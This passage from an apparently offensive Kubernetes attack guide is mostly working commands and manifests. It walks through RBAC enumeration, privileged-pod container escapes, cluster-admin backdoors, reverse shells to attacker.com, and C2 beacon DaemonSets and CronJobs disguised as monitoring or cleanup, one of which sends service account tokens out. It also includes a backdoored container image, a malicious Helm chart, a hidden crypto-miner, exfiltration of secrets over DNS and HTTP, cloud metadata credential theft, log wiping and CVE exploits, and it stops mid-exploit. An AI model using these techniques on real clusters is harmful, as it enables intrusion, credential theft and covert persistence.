kubectl get nodes -o jsonpath='{.items[*].status.nodeInfo.kubeletVersion}'

# Cluster resources summary
kubectl api-resources
kubectl api-versions

8.2 RBAC Discovery (Critical Phase)

Permission Assessment

# What can I do? (Most important command)
kubectl auth can-i --list
kubectl auth can-i --list --all-namespaces

# Critical permission checks for privilege escalation
kubectl auth can-i create pods
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i create clusterrolebindings
kubectl auth can-i create rolebindings --all-namespaces
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i list secrets --all-namespaces
kubectl auth can-i create serviceaccounts
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts
kubectl auth can-i exec pods
kubectl auth can-i create deployments
kubectl auth can-i patch deployments
kubectl auth can-i delete pods
kubectl auth can-i "*" --all-namespaces

# Check specific resource permissions
kubectl auth can-i create persistentvolumeclaims
kubectl auth can-i create ingress
kubectl auth can-i create networkpolicies

RBAC Object Enumeration

# Service accounts
kubectl get serviceaccounts -A
kubectl get serviceaccounts -A -o wide

# Roles and role bindings (namespace-scoped)
kubectl get roles -A
kubectl get rolebindings -A
kubectl get rolebindings -A -o wide

# Cluster roles and cluster role bindings (cluster-scoped)
kubectl get clusterroles
kubectl get clusterrolebindings
kubectl get clusterrolebindings -o wide

# Find all cluster-admin bindings (highest privilege)
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | {name: .metadata.name, subjects: .subjects}'

# Find bindings for specific users/groups
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.subjects[]?.kind=="User") | {name: .metadata.name, users: [.subjects[]?.name]}'

# Describe important roles
kubectl describe clusterrole cluster-admin
kubectl describe clusterrole admin  
kubectl describe clusterrole edit
kubectl describe clusterrole view

Service Account Analysis

# Current service account
kubectl get serviceaccount
kubectl describe serviceaccount default

# Find service accounts across namespaces
kubectl get sa -A

# Service accounts with secrets
kubectl get sa -A -o json | \
  jq '.items[] | select(.secrets) | {namespace: .metadata.namespace, name: .metadata.name, secrets: .secrets}'

# Find pods using specific service accounts
kubectl get pods -A -o json | \
  jq '.items[] | {namespace: .metadata.namespace, pod: .metadata.name, sa: .spec.serviceAccountName}'

8.3 Resource Enumeration

Namespaces and Organization

# List all namespaces
kubectl get namespaces
kubectl get ns

# Examine each namespace
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
  echo "=== Namespace: $ns ==="
  kubectl get all,secrets,configmaps,pvc -n $ns 2>/dev/null | head -20
done

# Default and system namespaces (high-value targets)
kubectl get all -n default
kubectl get all -n kube-system  
kubectl get all -n kube-public
kubectl get all -n kube-node-lease

Pod Analysis

# All pods cluster-wide
kubectl get pods -A
kubectl get pods -A -o wide

# Pods with additional details
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.serviceAccountName}{"\t"}{.spec.nodeName}{"\n"}{end}'

# Find privileged pods
kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | {namespace: .metadata.namespace, pod: .metadata.name}'

# Find pods with host network
kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.hostNetwork==true) | {namespace: .metadata.namespace, pod: .metadata.name}'

# Find pods with host path volumes
kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.volumes[]?.hostPath) | {namespace: .metadata.namespace, pod: .metadata.name, hostPaths: [.spec.volumes[]?.hostPath?.path]}'

# Find pods running as root
kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.containers[]?.securityContext?.runAsUser==0) | {namespace: .metadata.namespace, pod: .metadata.name}'

# Pods with dangerous capabilities
kubectl get pods -A -o json | \
  jq '.items[] | select(.spec.containers[]?.securityContext?.capabilities?.add) | {namespace: .metadata.namespace, pod: .metadata.name, caps: .spec.containers[].securityContext.capabilities.add}'

Secrets Enumeration (High-Value Target)

# List secrets in current namespace
kubectl get secrets
kubectl get secrets -o wide

# List secrets cluster-wide (if permissions allow)
kubectl get secrets -A
kubectl get secrets -A -o wide

# Examine secret types
kubectl get secrets -A -o json | \
  jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'

# Extract secret data
kubectl get secret <secret-name> -o yaml
kubectl get secret <secret-name> -o jsonpath='{.data}'

# Decode secret values
kubectl get secret <secret-name> -o jsonpath='{.data.<key>}' | base64 -d

# Extract all secret data (careful - very noisy)
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
  echo "=== Secrets in namespace: $ns ==="
  kubectl get secrets -n $ns -o json | \
    jq -r '.items[] | "\(.metadata.name): \(.data | keys[])"' 2>/dev/null
done

# Look for specific types of secrets
kubectl get secrets -A -o json | \
  jq '.items[] | select(.type=="kubernetes.io/tls") | {namespace: .metadata.namespace, name: .metadata.name}'

kubectl get secrets -A -o json | \
  jq '.items[] | select(.type=="Opaque") | {namespace: .metadata.namespace, name: .metadata.name}'

ConfigMaps (May Contain Sensitive Data)

# List configmaps
kubectl get configmaps -A

# Examine configmap content
kubectl describe configmap <name> -n <namespace>
kubectl get configmap <name> -n <namespace> -o yaml

# Search for potential secrets in configmaps
kubectl get configmaps -A -o json | \
  jq '.items[] | select(.data | tostring | test("password|secret|token|key"; "i")) | {namespace: .metadata.namespace, name: .metadata.name}'

Services and Network Exposure

# All services
kubectl get services -A
kubectl get svc -A -o wide

# Find LoadBalancer and NodePort services (external exposure)
kubectl get svc -A -o json | \
  jq '.items[] | select(.spec.type=="LoadBalancer" or .spec.type=="NodePort") | {namespace: .metadata.namespace, name: .metadata.name, type: .spec.type}'

# Endpoints (actual pod IPs behind services)
kubectl get endpoints -A

# Ingress rules (HTTP/HTTPS routing)
kubectl get ingress -A
kubectl describe ingress -A

Deployments, StatefulSets, DaemonSets

# Application workloads
kubectl get deployments -A
kubectl get statefulsets -A
kubectl get daemonsets -A

# Examine deployment configurations
kubectl get deployments -A -o json | \
  jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, replicas: .spec.replicas, image: .spec.template.spec.containers[].image}'

# Find containers with dangerous configurations
kubectl get deployments -A -o json | \
  jq '.items[] | select(.spec.template.spec.containers[]?.securityContext?.privileged==true)'

8.4 Vulnerability Identification

High-Value Targets for Privilege Escalation

# 1. Privileged pods (container escape potential)
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | {ns: .metadata.namespace, pod: .metadata.name}'

# 2. Pods with host filesystem access
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.hostPath) | {ns: .metadata.namespace, pod: .metadata.name, paths: [.spec.volumes[]?.hostPath?.path]}'

# 3. Service accounts with high privileges
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name | test("admin|cluster-admin")) | {name: .metadata.name, subjects: .subjects}'

# 4. Pods in kube-system namespace (often privileged)
kubectl get pods -n kube-system

# 5. DaemonSets (run on all nodes, often privileged)
kubectl get daemonsets -A

Attack Path Decision Tree

flowchart TD
    A[Authenticated Access] --> B{Can create pods?}
    B -->|Yes| C[High Privilege Path
Create privileged pod
→ Container escape] B -->|No| D{Can access secrets?} D -->|Yes| E[Credential Path
Extract secrets
→ Lateral movement] D -->|No| F{Can exec into pods?} F -->|Yes| G[Lateral Path
Exec into pods
→ Token collection] F -->|No| H{Read-only access?} H -->|Yes| I[Recon Path
Gather intelligence
→ Wait for opportunity] H -->|No| J[Dead End
Need to find new vector]

9. Phase 5: Privilege Escalation

MITRE ATT&CK Techniques:

Escalating from limited cluster access to administrative control.

9.1 Creating Privileged Pods

Most Common Escalation Vector

# privesc-pod.yaml - Template for privilege escalation
apiVersion: v1
kind: Pod
metadata:
  name: privesc-pod
  namespace: default
spec:
  hostNetwork: true          # Access host network
  hostPID: true             # Access host process namespace
  hostIPC: true             # Access host IPC namespace
  containers:
  - name: privesc-container
    image: ubuntu:latest
    command: ["/bin/bash", "-c", "sleep 3600"]
    securityContext:
      privileged: true        # Full privileges
      runAsUser: 0           # Run as root
    volumeMounts:
    - mountPath: /host-root   # Mount host filesystem
      name: host-root
    - mountPath: /host-var
      name: host-var
    - mountPath: /host-etc
      name: host-etc
  volumes:
  - name: host-root
    hostPath:
      path: /               # Host root filesystem
      type: Directory
  - name: host-var
    hostPath:
      path: /var
      type: Directory
  - name: host-etc
    hostPath:
      path: /etc
      type: Directory
  restartPolicy: Never

Deploy and Exploit

# Create the privileged pod
kubectl apply -f privesc-pod.yaml

# Wait for pod to be ready
kubectl wait --for=condition=Ready pod/privesc-pod --timeout=60s

# Exec into the pod
kubectl exec -it privesc-pod -- /bin/bash

# Inside the pod - you now have host access!
# List host filesystem
ls -la /host-root

# Chroot to host (most direct method)
chroot /host-root /bin/bash

# Alternative: use nsenter to join host namespaces
nsenter -t 1 -m -u -n -i /bin/bash

# Verify host access
hostname  # Should show host, not container name
id        # Should be root
cat /etc/shadow  # Host password file

Less Obvious Privileged Pod (OPSEC)

# monitoring-pod.yaml - Disguised as monitoring
apiVersion: v1
kind: Pod
metadata:
  name: node-monitor
  namespace: kube-system  # Hide in system namespace
  labels:
    app: monitoring
    component: node-exporter
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: monitor
    image: alpine:latest  # Small, common image
    command: ["/bin/sh", "-c"]
    args:
    - |
      while true; do
        sleep 300
        # Beacon home periodically
        wget -q -O - http://your-server.com/beacon?host=$(hostname) || true
      done
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-fs
      readOnly: false
  volumes:
  - name: host-fs
    hostPath:
      path: /
  restartPolicy: Always

9.2 RBAC Abuse and Permission Escalation

Creating Cluster Admin Bindings

# Grant yourself cluster-admin (if you can create clusterrolebindings)
kubectl create clusterrolebinding backdoor-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=default:my-service-account

# Create cluster-admin for all service accounts in a namespace
kubectl create clusterrolebinding namespace-takeover \
  --clusterrole=cluster-admin \
  --group=system:serviceaccounts:default

# Create a new service account with admin privileges
kubectl create serviceaccount backdoor-sa -n kube-system
kubectl create clusterrolebinding backdoor-sa-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:backdoor-sa

# Extract the new admin token
SECRET_NAME=$(kubectl get sa backdoor-sa -n kube-system -o jsonpath='{.secrets[0].name}')
kubectl get secret $SECRET_NAME -n kube-system -o jsonpath='{.data.token}' | base64 -d > admin-token.txt

Custom Dangerous Roles

# dangerous-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-exec-anywhere
rules:
- apiGroups: [""]
  resources: ["pods", "pods/exec", "pods/log"]
  verbs: ["get", "list", "create", "delete"]
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]
- apiGroups: ["apps"]
  resources: ["deployments", "daemonsets"]
  verbs: ["get", "list", "create", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: pod-exec-binding
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: pod-exec-anywhere
  apiGroup: rbac.authorization.k8s.io

9.3 Container Escape Techniques

Privileged Container Escape

# From inside a privileged container

# Method 1: Direct chroot
ls /host-root
chroot /host-root /bin/bash

# Method 2: Find host devices and mount
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host  # Adjust device as needed
chroot /mnt/host /bin/bash

# Method 3: Use nsenter
# Find host init process
ps aux | grep -E "\s1\s"
nsenter -t 1 -m -u -n -i /bin/bash

# Method 4: Exploit via /proc
mount -t proc none /proc
cat /proc/mounts | grep " / "
# Mount the host root filesystem

Docker Socket Abuse

# Check for docker socket mount
ls -la /var/run/docker.sock

# If docker socket is mounted (critical misconfiguration!)
docker ps  # See all containers on host

# Escape via new privileged container
docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

# Alternative: mount host filesystem
docker run -it -v /:/host --privileged debian chroot /host bash

Capabilities Abuse

# Check current capabilities
capsh --print

# Common dangerous capabilities:
# CAP_SYS_ADMIN - Can mount filesystems, use unshare()
# CAP_DAC_OVERRIDE - Bypass file read/write/execute permission checks
# CAP_SYS_PTRACE - Trace arbitrary processes
# CAP_SYS_MODULE - Load kernel modules

# Example: CAP_SYS_ADMIN abuse
mkdir /mnt/host
mount -t auto /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

9.4 kubelet API Exploitation

Direct kubelet Access

# If kubelet API is accessible
kubeletctl --server <node-ip> pods

# Execute commands in any pod on the node
kubeletctl --server <node-ip> exec "id" -p <pod-name> -c <container-name>

# Extract tokens from all pods
for pod in $(kubeletctl --server <node-ip> pods | jq -r '.items[].metadata.name'); do
  echo "=== Pod: $pod ==="
  kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || echo 'No token'" -p $pod
done

# Upload and execute payloads
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > /tmp/shell.sh
kubeletctl --server <node-ip> exec "wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh" -p <pod>

9.5 etcd Exploitation

Direct etcd Access (Critical)

# If etcd is exposed without authentication (game over)
export ETCDCTL_API=3
etcdctl --endpoints=http://<etcd-ip>:2379 get "" --prefix --keys-only

# Extract all secrets
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/ --prefix

# Specific secret extraction
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/default/admin-password

# Extract service account tokens
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/serviceaccounts/ --prefix

# Modify cluster state (dangerous!)
# Create new admin service account
etcdctl --endpoints=http://<etcd-ip>:2379 put /registry/serviceaccounts/default/backdoor-admin '<service-account-json>'

# Extract RBAC configurations
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/clusterrolebindings/ --prefix

9.6 Node Compromise Techniques

Once on the Host

# Add SSH keys for persistence
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Extract kubeconfig files
find /etc/kubernetes -name "*.conf" -type f
cat /etc/kubernetes/admin.conf

# Extract kubelet credentials
cat /var/lib/kubelet/config.yaml
cat /etc/kubernetes/kubelet.conf

# Look for additional certificates
find /etc/kubernetes -name "*.crt" -o -name "*.key"

# Install persistence mechanisms
crontab -e
# Add: */5 * * * * bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

# Modify kubelet configuration for backdoor
# Add --anonymous-auth=true to allow unauthenticated access
vi /var/lib/kubelet/config.yaml
systemctl restart kubelet

Access Other Nodes

# Use kubectl from compromised node to access cluster
export KUBECONFIG=/etc/kubernetes/admin.conf
kubectl get nodes

# Create privileged pods on other nodes
kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: backdoor-node2
spec:
  nodeName: worker-node-2  # Force scheduling to specific node
  hostNetwork: true
  hostPID: true
  containers:
  - name: backdoor
    image: ubuntu:latest
    command: ["/bin/bash", "-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into the new pod for node access
kubectl exec -it backdoor-node2 -- chroot /host /bin/bash

9.7 Admission Controller Bypass

Evading Pod Security Policies

# If Pod Security Policies are in place, try variations:

# 1. Different namespace (policies may not apply everywhere)
apiVersion: v1
kind: Pod
metadata:
  name: bypass-pod
  namespace: monitoring  # Try different namespaces
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep 3600"]
    securityContext:
      allowPrivilegeEscalation: false  # Appear compliant
      runAsNonRoot: true
      runAsUser: 1000
    volumeMounts:
    - mountPath: /host-proc
      name: proc
      readOnly: true
  volumes:
  - name: proc
    hostPath:
      path: /proc  # Still access sensitive host info

Mutation Webhook Evasion

# Try different API versions
kubectl apply -f pod.yaml --dry-run=server  # Test without creating

# Use different resource types that might not be covered
kubectl create job escape-job --image=alpine -- /bin/sh -c "sleep 3600"

# CronJob might have different policies
kubectl create cronjob escape-cron --image=alpine --schedule="*/5 * * * *" -- /bin/sh -c "sleep 300"

10. Phase 6: Lateral Movement & Persistence

MITRE ATT&CK Techniques:

Maintaining access and expanding control across the cluster.

10.1 Secrets Exfiltration & Analysis

Mass Secret Extraction

# Extract all secrets cluster-wide
kubectl get secrets -A -o json > all-secrets.json

# Parse and categorize secrets
jq '.items[] | {
  namespace: .metadata.namespace, 
  name: .metadata.name, 
  type: .type,
  keys: (.data | keys)
}' all-secrets.json > secrets-summary.json

# Decode and extract sensitive data
cat > extract-secrets.sh << 'EOF'
#!/bin/bash
for secret in $(kubectl get secrets -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
  ns=$(echo $secret | cut -d/ -f1)
  name=$(echo $secret | cut -d/ -f2)
  echo "=== $ns/$name ==="
  kubectl get secret $name -n $ns -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"' 2>/dev/null
done
EOF
bash extract-secrets.sh > decoded-secrets.txt

# Look for specific types
grep -i "password\|token\|key\|secret" decoded-secrets.txt | head -20

Database & Service Credentials

# Extract database connections
kubectl get secrets -A -o json | jq '.items[] | select(.data | keys[] | test("host|database|user|password"; "i"))'

# Extract cloud provider credentials
kubectl get secrets -A -o json | jq '.items[] | select(.data | keys[] | test("aws|gcp|azure|cloud"; "i"))'

# Extract TLS certificates
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/tls")'

# Use extracted credentials
DB_HOST=$(echo "<base64-encoded>" | base64 -d)
DB_USER=$(echo "<base64-encoded>" | base64 -d)
DB_PASS=$(echo "<base64-encoded>" | base64 -d)

# Connect to database from pod
kubectl run mysql-client --image=mysql:5.7 -it --rm --restart=Never -- mysql -h $DB_HOST -u $DB_USER -p$DB_PASS

10.2 Cloud Provider Pivoting

AWS EKS Scenarios

# Extract AWS credentials from secrets or metadata
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."  # If using roles

# Enumerate cloud resources
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws eks describe-cluster --name <cluster-name>

# Look for additional K8s clusters
aws eks list-clusters

# Access S3 buckets
aws s3 sync s3://company-secrets/ /tmp/exfil-data/

# Create backdoor in cloud
aws iam create-access-key --user-name service-user

10.3 Persistent Backdoors

Service Account Backdoors

# Create hidden admin service account
kubectl create namespace monitoring-system
kubectl create serviceaccount node-monitor -n monitoring-system

# Grant cluster-admin privileges
kubectl create clusterrolebinding node-monitor-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=monitoring-system:node-monitor

# Extract token for external use
SECRET=$(kubectl get sa node-monitor -n monitoring-system -o jsonpath='{.secrets[0].name}')
kubectl get secret $SECRET -n monitoring-system -o jsonpath='{.data.token}' | base64 -d > persistent-admin-token.txt

DaemonSet Backdoors (Runs on Every Node)

# persistent-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-security-monitor
  namespace: kube-system
  labels:
    app: security
    component: monitor
spec:
  selector:
    matchLabels:
      app: security
  template:
    metadata:
      labels:
        app: security
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: monitor
        image: alpine:latest
        command: ["/bin/sh", "-c"]
        args:
        - |
          # Install persistent backdoor
          while true; do
            # Beacon home every hour
            wget -q -T 5 -O /dev/null "http://c2-server.com/beacon?node=$(hostname)&time=$(date +%s)" || true
            
            # Check for commands
            CMD=$(wget -q -T 5 -O - "http://c2-server.com/cmd?node=$(hostname)" 2>/dev/null || echo "")
            if [ -n "$CMD" ]; then
              eval "$CMD" > /tmp/result.txt 2>&1
              wget -q -T 5 --post-file=/tmp/result.txt "http://c2-server.com/result?node=$(hostname)" || true
              rm -f /tmp/result.txt
            fi
            
            sleep 3600
          done
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-fs
      volumes:
      - name: host-fs
        hostPath:
          path: /
      restartPolicy: Always

CronJob Backdoors

# cleanup-cronjob.yaml (disguised as maintenance)
apiVersion: batch/v1
kind: CronJob
metadata:
  name: system-cleanup
  namespace: kube-system
spec:
  schedule: "0 */6 * * *"  # Every 6 hours
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: cleanup
            image: alpine:latest
            command: ["/bin/sh", "-c"]
            args:
            - |
              # Backdoor logic disguised as cleanup
              apk add --no-cache curl
              curl -s -X POST http://c2-server.com/checkin \
                -d "cluster=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)" \
                -d "token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
              
              # Actual cleanup to avoid suspicion
              echo "Cleanup completed at $(date)" > /tmp/cleanup.log
          restartPolicy: OnFailure

10.4 Image Registry Attacks

Poisoning Container Images

# If you have access to push images to the registry
# Pull legitimate image
docker pull nginx:latest

# Modify and add backdoor
cat > Dockerfile << 'EOF'
FROM nginx:latest
RUN apt-get update && apt-get install -y curl netcat-openbsd
COPY backdoor.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/backdoor.sh
CMD ["/bin/bash", "-c", "/usr/local/bin/backdoor.sh & nginx -g 'daemon off;'"]
EOF

cat > backdoor.sh << 'EOF'
#!/bin/bash
while true; do
  bash -i >& /dev/tcp/attacker.com/4444 0>&1
  sleep 300
done
EOF

# Build and push backdoored image
docker build -t nginx:latest .
docker tag nginx:latest your-registry.com/nginx:latest
docker push your-registry.com/nginx:latest

Supply Chain Attack via Helm

# malicious-chart/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: {{ include "app.fullname" . }}
spec:
  template:
    spec:
      containers:
      - name: app
        image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
        # Hidden backdoor sidecar
      - name: sidecar
        image: alpine:latest
        command: ["/bin/sh", "-c", "while true; do sleep 3600; done"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /

11. Phase 7: Post-Exploitation & Objectives

MITRE ATT&CK Techniques:

Achieving final objectives and maintaining operational security.

11.1 Data Exfiltration

Kubernetes-Specific Data Targets

# Package cluster secrets and configs
mkdir -p /tmp/k8s-exfil/{secrets,configs,certs}

# Secrets
kubectl get secrets -A -o yaml > /tmp/k8s-exfil/secrets/all-secrets.yaml

# Configurations
cp -r /etc/kubernetes/ /tmp/k8s-exfil/configs/ 2>/dev/null || true
kubectl get configmaps -A -o yaml > /tmp/k8s-exfil/configs/all-configmaps.yaml

# Certificates and keys
find /etc/kubernetes -name "*.crt" -o -name "*.key" | xargs cp -t /tmp/k8s-exfil/certs/ 2>/dev/null || true

# Compress for exfiltration
tar czf /tmp/k8s-data.tar.gz -C /tmp k8s-exfil/

Exfiltration Methods

# HTTP upload
curl -F "file=@/tmp/k8s-data.tar.gz" http://exfil-server.com/upload

# DNS exfiltration (bypasses many firewalls)
base64 /tmp/k8s-data.tar.gz | fold -w 60 | while read line; do
  dig $line.data.exfil-domain.com
  sleep 1
done

# Cloud storage (using stolen cloud credentials)
# AWS S3
aws s3 cp /tmp/k8s-data.tar.gz s3://exfil-bucket/clusters/$(date +%Y%m%d)/

# Google Cloud Storage
gsutil cp /tmp/k8s-data.tar.gz gs://exfil-bucket/clusters/$(date +%Y%m%d)/

# Split and hide in legitimate traffic
split -b 1M /tmp/k8s-data.tar.gz /tmp/chunk_
for chunk in /tmp/chunk_*; do
  curl -H "User-Agent: kubectl/v1.26.0" \
       -H "X-Real-Data: $(base64 -w0 $chunk)" \
       http://legitimate-looking-api.com/healthz
  sleep 60
done

11.2 Cloud Metadata Service Exploitation

Complete Examples for Each Provider

# AWS Instance Metadata Service (IMDS)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
if [ -n "$TOKEN" ]; then
  # IMDSv2
  CREDS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
  curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$CREDS 2>/dev/null
else
  # IMDSv1 fallback
  curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
fi

# Google Cloud Metadata
GCP_TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | jq -r '.access_token')

# List GCS buckets
curl -H "Authorization: Bearer $GCP_TOKEN" \
  https://www.googleapis.com/storage/v1/b

# Azure Instance Metadata  
AZURE_TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq -r '.access_token')

# List resource groups
curl -H "Authorization: Bearer $AZURE_TOKEN" \
  "https://management.azure.com/subscriptions/$(curl -s -H "Metadata:true" http://169.254.169.254/metadata/instance?api-version=2021-02-01 | jq -r '.compute.subscriptionId')/resourceGroups?api-version=2021-04-01"

11.3 Cryptomining Deployment

Stealth Mining Operation

# crypto-miner.yaml (disguised as monitoring)
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: gpu-metrics-exporter
  namespace: monitoring
  labels:
    app: monitoring
    component: gpu-metrics
spec:
  selector:
    matchLabels:
      app: gpu-metrics
  template:
    metadata:
      labels:
        app: gpu-metrics
    spec:
      hostNetwork: true
      containers:
      - name: metrics-exporter
        image: alpine:latest
        command: ["/bin/sh", "-c"]
        args:
        - |
          apk add --no-cache wget
          wget -O /tmp/xmrig https://github.com/xmrig/xmrig/releases/download/v6.18.0/xmrig-6.18.0-linux-static-x64.tar.gz
          tar -xzf /tmp/xmrig -C /tmp/
          
          # Low intensity to avoid detection
          /tmp/xmrig-6.18.0/xmrig \
            --url=pool.minexmr.com:4444 \
            --user=<wallet-address> \
            --pass=x \
            --threads=1 \
            --max-cpu-usage=20 \
            --background \
            --log-file=/dev/null
            
          # Keep pod running
          while true; do sleep 3600; done
        resources:
          limits:
            cpu: "500m"      # Keep CPU usage low
            memory: "256Mi"
          requests:
            cpu: "100m"
            memory: "128Mi"
        securityContext:
          runAsNonRoot: false  # Need privileges for mining

11.4 Defense Evasion & OPSEC

Log Manipulation

# Clear container logs (if you have node access)
truncate -s 0 /var/log/pods/*/*/*.log
truncate -s 0 /var/log/containers/*.log

# Clear bash history
history -c && history -w
unset HISTFILE
export HISTSIZE=0

# Timestamp manipulation
touch -r /bin/bash /tmp/malicious-script.sh  # Match timestamps

Process Hiding

# Hide processes with innocuous names
cp /bin/bash /tmp/[kworker/0:1]
exec -a "[kworker/0:1]" /bin/bash

# Run commands through system processes
echo 'curl http://c2-server.com/beacon' | at now + 1 minute

Network Evasion

# Use DNS for C2 instead of direct connections
DIG_OUTPUT=$(dig TXT evil-domain.com +short)
COMMAND=$(echo $DIG_OUTPUT | base64 -d)
eval "$COMMAND"

# Proxy through legitimate services
curl -H "X-Custom-Header: $(echo 'id' | base64)" https://legitimate-api.com/endpoint

12. CVE Exploitation Examples

Critical Kubernetes CVEs with working proof-of-concepts.

12.1 CVE-2018-1002105 - Kubernetes API Privilege Escalation

MITRE ATT&CK: T1068 (Exploitation for Privilege Escalation)

Affected Versions:

Vulnerability Details:
Allows users to establish connections through the API server to backend servers, bypassing TLS termination and authentication.

Exploitation:

# Check if vulnerable
kubectl version | grep -E "v1\.(10\.[0-9]|11\.[0-4]|12\.[0-2])"

# Exploit (requires existing cluster access)
# This creates a websocket connection that bypasses authentication
curl -N -v \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
  -H "Authorization: Bearer $TOKEN" \
  "https://<api-server>:6443/api/v1/namespaces/default/pods/<pod-name>/exec?command=/bin/bash&stdin=true&stdout=true&tty=true"

# Follow-up privilege escalation
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --user=system:anonymous

Detection: Monitor for unusual WebSocket connections and protocol upgrades in API server logs.

12.2 CVE-2019-11246 - kubectl cp Path Traversal

MITRE ATT&CK: T1083 (File and Directory Discovery)

Affected Versions:

Vulnerability: kubectl cp vulnerable to symlink attacks allowing arbitrary file writes on user's machine.

Exploitation:

# Create malicious pod with path traversal payload
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: path-traversal-pod
spec:
  containers:
  - name: malicious
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      mkdir -p /tmp/exploit
      echo "malicious content" > /tmp/exploit/malicious.txt
      cd /tmp/exploit
      tar czf ../payload.tar.gz --transform='s|^|../../../root/.ssh/|' malicious.txt
      cp ../payload.tar.gz /tmp/
      sleep 3600
EOF

# Victim runs (thinking they're copying safe data):
kubectl cp path-traversal-pod:/tmp/payload.tar.gz ./safe-location/

# Result: Writes to ../../safe-location/../../../root/.ssh/malicious.txt = /root/.ssh/malicious.txt

12.3 CVE-2019-5736 - runc Container Escape

MITRE ATT&CK: T1611 (Escape to Host)

Affected: runc < 1.0-rc6, Docker < 18.09.2

Exploitation:

# Compile exploit (requires inside container)
cat > exploit.go << 'EOF'
package main

import (
    "fmt"
    "io/ioutil"
    "os"
    "strconv"
    "strings"
)

func main() {
    fd, err := os.Create("/bin/sh")
    if err != nil {
        panic(err)
    }
    defer fd.Close()
    
    fmt.Fprintln(fd, "#!/bin/bash")
    fmt.Fprintln(fd, "cat > /tmp/shadow << 'EOF'")
